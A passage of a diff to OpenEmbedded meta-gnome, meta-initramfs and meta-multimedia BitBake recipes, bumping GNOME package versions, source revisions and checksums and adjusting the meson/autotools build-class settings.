-inherit features_check gobject-introspection meson pkgconfig
+inherit features_check gobject-introspection meson pkgconfig vala
REQUIRED_DISTRO_FEATURES = "opengl"
-SRCREV = "145e417f32e507b63c21ad4e915b808a6174099e"
+SRCREV = "941560af497148588783db991e8135f52a82574d"
SRC_URI = "git://github.com/gnome/libchamplain.git;branch=master;protocol=https"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/libgdata/libgdata_0.18.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/libgdata/libgdata_0.18.1.bb
index 126ef712d6..15e3d889f5 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/libgdata/libgdata_0.18.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/libgdata/libgdata_0.18.1.bb
@@ -10,7 +10,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=fbc093901857fcd118f065f900982c24 \
DEPENDS = "libxml2 glib-2.0 libsoup-2.4 intltool-native liboauth gcr3 json-glib"
GTKDOC_MESON_OPTION = "gtk_doc"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase pkgconfig gettext gtk-doc vala gobject-introspection manpages features_check
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/libgsf/libgsf_1.14.50.bb b/meta-openembedded/meta-gnome/recipes-gnome/libgsf/libgsf_1.14.51.bb
index d2486a0352..a54991574e 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/libgsf/libgsf_1.14.50.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/libgsf/libgsf_1.14.51.bb
@@ -1,15 +1,15 @@
SUMMARY = "GNOME Structured File Library"
-LICENSE = "GPL-2.0-only & LGPL-2.1-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=dc7371b50816c96e145fa0f8ade8e24d \
- file://COPYING.LIB;md5=61464cfe342798eeced82efe9ae55f63"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=61464cfe342798eeced82efe9ae55f63"
SECTION = "libs"
DEPENDS= "libxml2 bzip2 glib-2.0 zlib gnome-common-native"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gobject-introspection gettext gtk-doc
-SRC_URI[archive.sha256sum] = "6e6c20d0778339069d583c0d63759d297e817ea10d0d897ebbe965f16e2e8e52"
+SRC_URI[archive.sha256sum] = "f0b83251f98b0fd5592b11895910cc0e19f798110b389aba7da1cb7c474017f5"
SRC_URI += "file://0001-configure.ac-drop-a-copy-paste-of-introspection.m4-m.patch"
PACKAGECONFIG ??= ""
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/libgtop/libgtop_2.41.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/libgtop/libgtop_2.41.1.bb
index 9a50b5e826..a8483de1a2 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/libgtop/libgtop_2.41.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/libgtop/libgtop_2.41.1.bb
@@ -2,6 +2,7 @@ SUMMARY = "A library for collecting system monitoring data"
LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase lib_package gtk-doc gobject-introspection gettext upstream-version-is-even features_check
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/libgweather/libgweather4_4.2.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/libgweather/libgweather4_4.4.0.bb
index f2ffcfdd79..c30edd15c2 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/libgweather/libgweather4_4.2.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/libgweather/libgweather4_4.4.0.bb
@@ -3,7 +3,6 @@ SUMMARY = "A library to access weather information from online services"
LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-GNOMEBASEBUILDCLASS = "meson"
GNOMEBN = "libgweather"
S = "${WORKDIR}/${GNOMEBN}-${PV}"
@@ -12,9 +11,10 @@ inherit gnomebase gsettings gobject-introspection gettext gi-docgen vala feature
REQUIRED_DISTRO_FEATURES = "opengl"
SRC_URI += "file://0001-Allow-building-gir-in-cross-environments.patch"
-SRC_URI[archive.sha256sum] = "af8a812da0d8976a000e1d62572c256086a817323fbf35b066dbfdd8d2ca6203"
+SRC_URI[archive.sha256sum] = "366e866ff2a708b894cfea9475b8e8ff54cb3e2b477ea72a8ade0dabee5f48a4"
GTKDOC_MESON_OPTION = "gtk_doc"
+VALA_MESON_OPTION = "enable_vala"
DEPENDS = " \
geocode-glib \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/libwnck/libwnck3_43.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/libwnck/libwnck3_43.0.bb
index 5b4de3290d..c7f7989115 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/libwnck/libwnck3_43.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/libwnck/libwnck3_43.0.bb
@@ -10,7 +10,6 @@ DEPENDS = "cairo glib-2.0 gtk+3"
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
PACKAGECONFIG[x11] = "-Dstartup_notification=enabled,-Dstartup_notification=disabled,startup-notification libxres"
-GNOMEBASEBUILDCLASS = "meson"
GTKDOC_MESON_OPTION = "gtk_doc"
GIR_MESON_ENABLE_FLAG = 'enabled'
GIR_MESON_DISABLE_FLAG = 'disabled'
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/libwnck/libwnck_2.31.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/libwnck/libwnck_2.31.0.bb
index 3abba94990..8655affdbb 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/libwnck/libwnck_2.31.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/libwnck/libwnck_2.31.0.bb
@@ -8,6 +8,7 @@ DEPENDS = "intltool-native gnome-common-native gtk+ gdk-pixbuf-native libxres"
PACKAGECONFIG ??= "startup-notification"
PACKAGECONFIG[startup-notification] = "--enable-startup-notification,--disable-startup-notification,startup-notification"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gobject-introspection features_check
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/metacity/metacity_3.46.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/metacity/metacity_3.50.0.bb
index 3ada6515f8..e6921e6de3 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/metacity/metacity_3.46.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/metacity/metacity_3.50.0.bb
@@ -21,9 +21,10 @@ DEPENDS = " \
# depends on startup-notification which depends on virtual/libx11
REQUIRED_DISTRO_FEATURES = "x11"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gsettings gettext upstream-version-is-even features_check
-SRC_URI[archive.sha256sum] = "00ba49f7612088f2b3baeca79c45eb2a30423c2e4a7bea4015872beae25dd6c5"
+SRC_URI[archive.sha256sum] = "18e9b106438d46394e4148bcb83acc6367312be54559cdb564e270c1ccaeb60f"
SRC_URI += "file://0001-drop-zenity-detection.patch"
PACKAGECONFIG[xinerama] = "--enable-xinerama,--disable-xinerama,libxinerama"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/mutter/mutter_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/mutter/mutter_45.1.bb
index 87d61c2669..60347aa492 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/mutter/mutter_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/mutter/mutter_45.1.bb
@@ -22,11 +22,10 @@ DEPENDS = " \
xwayland \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gsettings gobject-introspection gettext features_check
-SRC_URI[archive.sha256sum] = "8fbc963019eda9ba52fca2f6c4c477efbc6e36eb4fa93f23174f02ff6b907715"
+SRC_URI[archive.sha256sum] = "2cd3c5efb22db76c79311cb1889a1aab2feb35b4a4dd03f3822aab7999da212c"
# x11 is still manadatory - see meson.build
REQUIRED_DISTRO_FEATURES = "wayland x11 polkit"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/nautilus/nautilus_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/nautilus/nautilus_45.1.bb
index a083d1799f..9c0d154ec8 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/nautilus/nautilus_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/nautilus/nautilus_45.1.bb
@@ -4,7 +4,6 @@ SECTION = "x11/gnome"
LICENSE="GPL-3.0-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=d32239bcb673463ab874e80d47fae504"
-GNOMEBASEBUILDCLASS = "meson"
DEPENDS = " \
appstream-glib-native \
@@ -23,7 +22,7 @@ DEPENDS = " \
inherit gnomebase gsettings gobject-introspection gi-docgen gettext features_check mime-xdg gtk-icon-cache
-SRC_URI[archive.sha256sum] = "b311c465ce2ca7bc648f61b865187b4451388dec9358a169f3277e741718ab5d"
+SRC_URI[archive.sha256sum] = "23bdaa9a85466c5937a89daddd080ed03bcc2b49e8b64af607206353bde82fe3"
REQUIRED_DISTRO_FEATURES = "x11 opengl gobject-introspection-data"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/rest/librest_0.8.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/rest/librest_0.8.1.bb
index 23849783cc..51dc44cc4d 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/rest/librest_0.8.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/rest/librest_0.8.1.bb
@@ -13,6 +13,7 @@ DEPENDS = " \
libxml2-native \
"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gobject-introspection vala pkgconfig
GNOMEBN = "rest"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/rest/rest_0.9.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/rest/rest_0.9.0.bb
deleted file mode 100644
index 2256a1899e..0000000000
--- a/meta-openembedded/meta-gnome/recipes-gnome/rest/rest_0.9.0.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "library to access web services that claim to be "RESTful""
-HOMEPAGE = "https://wiki.gnome.org/Projects/Librest"
-LICENSE = "LGPL-2.1-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2d5025d4aa3495befef8f17206a5b0a1"
-
-GNOMEBASEBUILDCLASS = "meson"
-
-DEPENDS = " \
- gi-docgen \
- gi-docgen-native \
- glib-2.0 \
- glib-2.0-native \
- json-glib \
- libxml2-native \
-"
-
-inherit gnomebase gobject-introspection vala pkgconfig
-
-PACKAGECONFIG_SOUP ?= "soup3"
-PACKAGECONFIG ??= "${PACKAGECONFIG_SOUP}"
-
-PACKAGECONFIG[soup2] = "-Dsoup2=true,,libsoup-2.4"
-PACKAGECONFIG[soup3] = "-Dsoup2=false,,libsoup-3.0"
-
-SRC_URI[archive.sha256sum] = "85b2bc9341128139539b53ee53f0533310bc96392fd645863a040410b81ebe66"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/rest/rest_0.9.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/rest/rest_0.9.1.bb
new file mode 100644
index 0000000000..738b07e8cd
--- /dev/null
+++ b/meta-openembedded/meta-gnome/recipes-gnome/rest/rest_0.9.1.bb
@@ -0,0 +1,23 @@
+SUMMARY = "library to access web services that claim to be "RESTful""
+HOMEPAGE = "https://wiki.gnome.org/Projects/Librest"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2d5025d4aa3495befef8f17206a5b0a1"
+
+
+DEPENDS = " \
+ glib-2.0 \
+ glib-2.0-native \
+ gtksourceview5 \
+ json-glib \
+ libadwaita \
+ libsoup-3.0 \
+ libxml2-native \
+"
+
+inherit gnomebase gobject-introspection vala pkgconfig gi-docgen
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG[examples] = "-Dexamples=true,-Dexamples=false"
+PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false"
+
+SRC_URI[archive.sha256sum] = "9266a5c10ece383e193dfb7ffb07b509cc1f51521ab8dad76af96ed14212c2e3"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/sysprof/sysprof_3.44.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/sysprof/sysprof_3.44.0.bb
index c9d32c3946..3523bad3e2 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/sysprof/sysprof_3.44.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/sysprof/sysprof_3.44.0.bb
@@ -4,7 +4,6 @@ LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
file://src/sysprof/sysprof-application.c;endline=17;md5=a3de8df3b0f8876dd01e1388d2d4b607"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gnome-help gettext systemd upstream-version-is-even gsettings mime mime-xdg
DEPENDS += " \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/tecla/tecla_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/tecla/tecla_45.0.bb
index c047e29b7d..197db17e9d 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/tecla/tecla_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/tecla/tecla_45.0.bb
@@ -10,7 +10,6 @@ DEPENDS = " \
"
REQUIRED_DISTRO_FEATURES = "wayland"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase pkgconfig features_check
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/tracker/tracker-miners_3.6.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/tracker/tracker-miners_3.6.2.bb
index d899155028..2be6beacbc 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/tracker/tracker-miners_3.6.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/tracker/tracker-miners_3.6.2.bb
@@ -12,7 +12,6 @@ DEPENDS = " \
zlib \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gsettings gobject-introspection vala bash-completion features_check
@@ -20,11 +19,12 @@ SRC_URI:append = " \
file://0001-fix-reproducibility.patch \
file://0001-Set-header-file-to-a-fixed-path-instead-of-a-host-pa.patch \
"
-SRC_URI[archive.sha256sum] = "c2ed9f6b0410195863b84c7b5467c5bc1255e96d658741192b5e92568a3bebd0"
+SRC_URI[archive.sha256sum] = "0ad722f3d532c21d757cf488f942960679ea8f457925efa97656ed4c9e9ba4ff"
# gobject-introspection is mandatory and cannot be configured
REQUIRED_DISTRO_FEATURES = "gobject-introspection-data"
GIR_MESON_OPTION = ""
+VALA_MESON_OPTION = ""
PACKAGECONFIG ??= " \
${@bb.utils.contains("LICENSE_FLAGS_ACCEPTED", "commercial", "ffmpeg", "", d)} \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/tracker/tracker_3.6.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/tracker/tracker_3.6.0.bb
index d2eb392a0f..c5b5c4eabc 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/tracker/tracker_3.6.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/tracker/tracker_3.6.0.bb
@@ -18,7 +18,6 @@ DEPENDS = " \
libstemmer \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gettext gnomebase gsettings gobject-introspection vala gtk-doc bash-completion python3native
@@ -45,8 +44,8 @@ EXTRA_OEMESON = " \
"
do_install:prepend() {
- sed -i -e 's|${B}/../${PN}-${PV}|/usr/src/debug/${PN}/${PV}-${PR}|g' ${B}/src/libtracker-sparql/tracker-sparql-enum-types.c
- sed -i -e 's|${B}/../${PN}-${PV}|/usr/src/debug/${PN}/${PV}-${PR}|g' ${B}/src/libtracker-sparql/core/tracker-data-enum-types.c
+ sed -i -e 's|${B}/../${PN}-${PV}|${TARGET_DBGSRC_DIR}|g' ${B}/src/libtracker-sparql/tracker-sparql-enum-types.c
+ sed -i -e 's|${B}/../${PN}-${PV}|${TARGET_DBGSRC_DIR}|g' ${B}/src/libtracker-sparql/core/tracker-data-enum-types.c
}
GIR_MESON_ENABLE_FLAG = 'enabled'
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp-tools_42.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp-tools_42.1.bb
index 28ba392884..f3e1efeaa1 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp-tools_42.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp-tools_42.1.bb
@@ -5,8 +5,6 @@ LIC_FILES_CHKSUM = " \
file://COPYING.GPL;md5=eb723b61539feef013de476e68b5c50a \
"
-GNOMEBASEBUILDCLASS = "meson"
-
inherit gnomebase itstool
DEPENDS += " \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp-xsl_42.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp-xsl_42.1.bb
index ba2536443f..5a8089e013 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp-xsl_42.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp-xsl_42.1.bb
@@ -6,6 +6,7 @@ LIC_FILES_CHKSUM = " \
file://COPYING.LGPL;md5=a6f89e2100d9b6cdffcea4f398e37343 \
"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gettext itstool
DEPENDS += "libxml2"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp_42.2.bb b/meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp_42.2.bb
index 51d51ee0ab..1b3ded0211 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp_42.2.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp_42.2.bb
@@ -3,7 +3,7 @@ LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = " \
file://COPYING;md5=6e1b9cb787e76d7e6946887a65caa754 \
"
-
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase itstool autotools-brokensep gsettings gettext gtk-doc features_check mime-xdg
# for webkitgtk
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/zenity/zenity_3.44.2.bb b/meta-openembedded/meta-gnome/recipes-gnome/zenity/zenity_3.44.2.bb
index a152e64059..92b9f6655e 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/zenity/zenity_3.44.2.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/zenity/zenity_3.44.2.bb
@@ -3,7 +3,6 @@ SECTION = "x11/gnome"
LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase pkgconfig itstool gtk-icon-cache features_check gettext
diff --git a/meta-openembedded/meta-gnome/recipes-support/libcloudproviders/libcloudproviders_0.3.4.bb b/meta-openembedded/meta-gnome/recipes-support/libcloudproviders/libcloudproviders_0.3.4.bb
index 36089238f6..1c03f41c29 100644
--- a/meta-openembedded/meta-gnome/recipes-support/libcloudproviders/libcloudproviders_0.3.4.bb
+++ b/meta-openembedded/meta-gnome/recipes-support/libcloudproviders/libcloudproviders_0.3.4.bb
@@ -2,7 +2,7 @@ SUMMARY = "libcloudproviders is a DBus API that allows cloud storage sync client
LICENSE="LGPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=e6a600fd5e1d9cbde2d983680233ad02"
-GNOMEBASEBUILDCLASS = "meson"
+VALA_MESON_OPTION ?= 'vapigen'
DEPENDS = "glib-2.0"
diff --git a/meta-openembedded/meta-gnome/recipes-support/libwacom/libwacom_2.6.0.bb b/meta-openembedded/meta-gnome/recipes-support/libwacom/libwacom_2.8.0.bb
index d960262416..8f45221ad3 100644
--- a/meta-openembedded/meta-gnome/recipes-support/libwacom/libwacom_2.6.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-support/libwacom/libwacom_2.8.0.bb
@@ -8,7 +8,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=40a21fffb367c82f39fd91a3b137c36e"
SRC_URI = "git://github.com/linuxwacom/libwacom.git;branch=master;protocol=https"
-SRCREV = "cb36c462763a321454d5c08fe974a3d7dec4ed1a"
+SRCREV = "f5b92814320d0a5745b50b7b36103843ad23e299"
DEPENDS = " \
libxml2-native \
diff --git a/meta-openembedded/meta-gnome/recipes-support/webp-pixbuf-loader/webp-pixbuf-loader_0.2.4.bb b/meta-openembedded/meta-gnome/recipes-support/webp-pixbuf-loader/webp-pixbuf-loader_0.2.5.bb
index 6f9156ded3..e7cad39a3d 100644
--- a/meta-openembedded/meta-gnome/recipes-support/webp-pixbuf-loader/webp-pixbuf-loader_0.2.4.bb
+++ b/meta-openembedded/meta-gnome/recipes-support/webp-pixbuf-loader/webp-pixbuf-loader_0.2.5.bb
@@ -15,7 +15,7 @@ EXTRA_OEMESON = "-Dupdate_cache=true"
SRC_URI = "git://github.com/aruiz/webp-pixbuf-loader.git;protocol=https;branch=mainline"
S = "${WORKDIR}/git"
-SRCREV = "a35014104a226265e44fe30fcdb4df9305af3466"
+SRCREV = "481533dd0e2c014975d9dc786887a5475c3af073"
FILES:${PN} = " \
${datadir}/thumbnailers/webp-pixbuf.thumbnailer \
diff --git a/meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gnome_45.0.bb b/meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gnome_45.0.bb
index 91469934dd..6cf706a925 100644
--- a/meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gnome_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gnome_45.0.bb
@@ -17,7 +17,6 @@ DEPENDS = " \
RDEPENDS:${PN} = "xdg-desktop-portal xdg-desktop-portal-gtk"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase pkgconfig gsettings features_check
REQUIRED_DISTRO_FEATURES = "polkit"
diff --git a/meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gtk_1.14.1.bb b/meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gtk_1.14.1.bb
deleted file mode 100644
index b291991d37..0000000000
--- a/meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gtk_1.14.1.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-SUMMARY = "A backend implementation for xdg-desktop-portal that is using GTK and various pieces of GNOME infrastructure."
-HOMEPAGE = "https://github.com/flatpak/xdg-desktop-portal-gtk"
-LICENSE = "LGPL-2.1-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-DEPENDS = " \
- glib-2.0-native \
- gtk+3\
- xdg-desktop-portal \
- libadwaita \
- fontconfig \
- gsettings-desktop-schemas \
- gnome-desktop \
- dconf \
-"
-
-inherit gettext autotools pkgconfig gsettings features_check
-
-REQUIRED_DISTRO_FEATURES = "polkit"
-
-SRC_URI = "git://github.com/flatpak/xdg-desktop-portal-gtk.git;protocol=https;branch=main"
-
-S = "${WORKDIR}/git"
-SRCREV = "952005f6a7850a247d286f14838202f506b402b7"
-
-# gdbus-codegen wants to create files in ${B}/src and fails because of missing directory
-do_configure:append() {
- mkdir -p ${B}/src
-}
-
-# Note: wlroots has its own implementation for screenshot and screencast, but
-# you may want to include the according PACKAGECONFIGS for gnome.
-PACKAGECONFIG ?= "wallpaper appchooser lockdown"
-
-PACKAGECONFIG[screenshot] = "--enable-screenshot,--disable-screenshot,gnome-shell"
-PACKAGECONFIG[screencast] = "--enable-screencast,--disable-screencast,mutter"
-PACKAGECONFIG[wallpaper] = "--enable-wallpaper,--disable-wallpaper,gnome-desktop"
-PACKAGECONFIG[background] = "--enable-background,--disable-background,gnome-shell"
-PACKAGECONFIG[appchooser] = "--enable-appchooser,--disable-appchooser"
-PACKAGECONFIG[lockdown] = "--enable-lockdown,--disable-lockdown"
-
-FILES:${PN} += "${systemd_user_unitdir} ${datadir}"
diff --git a/meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gtk_1.15.1.bb b/meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gtk_1.15.1.bb
new file mode 100644
index 0000000000..0d2b0012c5
--- /dev/null
+++ b/meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gtk_1.15.1.bb
@@ -0,0 +1,30 @@
+SUMMARY = "A backend implementation for xdg-desktop-portal that is using GTK and various pieces of GNOME infrastructure."
+HOMEPAGE = "https://github.com/flatpak/xdg-desktop-portal-gtk"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS = " \
+ glib-2.0-native \
+ gtk+3\
+ xdg-desktop-portal \
+ libadwaita \
+ dconf \
+"
+
+inherit gettext meson pkgconfig gsettings features_check
+
+REQUIRED_DISTRO_FEATURES = "polkit"
+
+SRC_URI = "git://github.com/flatpak/xdg-desktop-portal-gtk.git;protocol=https;branch=main"
+
+S = "${WORKDIR}/git"
+SRCREV = "54003825481c2b48fd0c42355b484469dea12020"
+
+PACKAGECONFIG ?= "wallpaper appchooser lockdown settings"
+
+PACKAGECONFIG[wallpaper] = "-Dwallpaper=enabled,-Dwallpaper=disabled,gnome-desktop"
+PACKAGECONFIG[settings] = "-Dsettings=enabled,-Dsettings=disabled,gsettings-desktop-schemas fontconfig"
+PACKAGECONFIG[appchooser] = "-Dappchooser=enabled,-Dappchooser=disabled"
+PACKAGECONFIG[lockdown] = "-Dlockdown=enabled,-Dlockdown=disabled"
+
+FILES:${PN} += "${systemd_user_unitdir} ${datadir}"
diff --git a/meta-openembedded/meta-initramfs/recipes-devtools/klibc/klibc.inc b/meta-openembedded/meta-initramfs/recipes-devtools/klibc/klibc.inc
index 113459b523..6093e19b7c 100644
--- a/meta-openembedded/meta-initramfs/recipes-devtools/klibc/klibc.inc
+++ b/meta-openembedded/meta-initramfs/recipes-devtools/klibc/klibc.inc
@@ -32,6 +32,7 @@ SRC_URI[sha256sum] = "d673a294f742d59368222ff5c38462d81098c55063799de6fb8a7ba3d4
S = "${WORKDIR}/klibc-${PV}"
OPTFLAGS = "${TUNE_CCARGS} -Os -fcommon"
+OPTFLAGS:append = " ${DEBUG_PREFIX_MAP}"
OPTFLAGS:append:toolchain-clang = " -fno-builtin-bcmp"
OPTFLAGS:append:toolchain-clang:mipsarch = " -no-integrated-as"
diff --git a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gssdp_1.4.0.1.bb b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gssdp_1.6.3.bb
index ad99bbffa3..f2e27622cc 100644
--- a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gssdp_1.4.0.1.bb
+++ b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gssdp_1.6.3.bb
@@ -6,22 +6,23 @@ BUGTRACKER = "https://gitlab.gnome.org/GNOME/gssdp/-/issues"
LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-SRC_URI = "${GNOME_MIRROR}/${BPN}/1.4/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "8676849d57fb822b8728856dbadebf3867f89ee47a0ec47a20045d011f431582"
+SRC_URI[archive.sha256sum] = "2fedb5afdb22cf14d5498a39a773ca89788a250fcf70118783df821e1f3f3446"
GTKDOC_MESON_OPTION = 'gtk_doc'
DEPENDS = " \
glib-2.0 \
- libsoup-2.4 \
+ libsoup-3.0 \
"
-inherit meson pkgconfig gobject-introspection vala gtk-doc features_check
+inherit gnomebase pkgconfig gobject-introspection vala gi-docgen features_check
+
+# manpages require pandoc-native
+EXTRA_OEMESON += "-Dmanpages=false"
SNIFFER = "${@bb.utils.contains("BBFILE_COLLECTIONS", "gnome-layer", "sniffer", "", d)}"
PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'opengl', "${SNIFFER}", "", d)}"
-
PACKAGECONFIG[sniffer] = "-Dsniffer=true,-Dsniffer=false,gtk4,"
REQUIRED_DISTRO_FEATURES = "${@bb.utils.contains('PACKAGECONFIG', 'sniffer', 'opengl', '', d)}"
diff --git a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-av_0.14.0.bb b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-av_0.14.1.bb
index 48de5868de..2a5c0808ee 100644
--- a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-av_0.14.0.bb
+++ b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-av_0.14.1.bb
@@ -11,4 +11,4 @@ inherit meson pkgconfig gobject-introspection vala
SRC_URI = "${GNOME_MIRROR}/${BPN}/0.14/${BPN}-${PV}.tar.xz \
file://0001-all-Drop-xmlRecoverMemory.patch \
"
-SRC_URI[sha256sum] = "20aed546fc882e78a3f186a0c8bce5c841cc3a44b7ea528298fbdc82596fb156"
+SRC_URI[sha256sum] = "b79ce0cc4b0c66d9c54bc22183a10e5709a0011d2af272025948efcab33a3e4f"
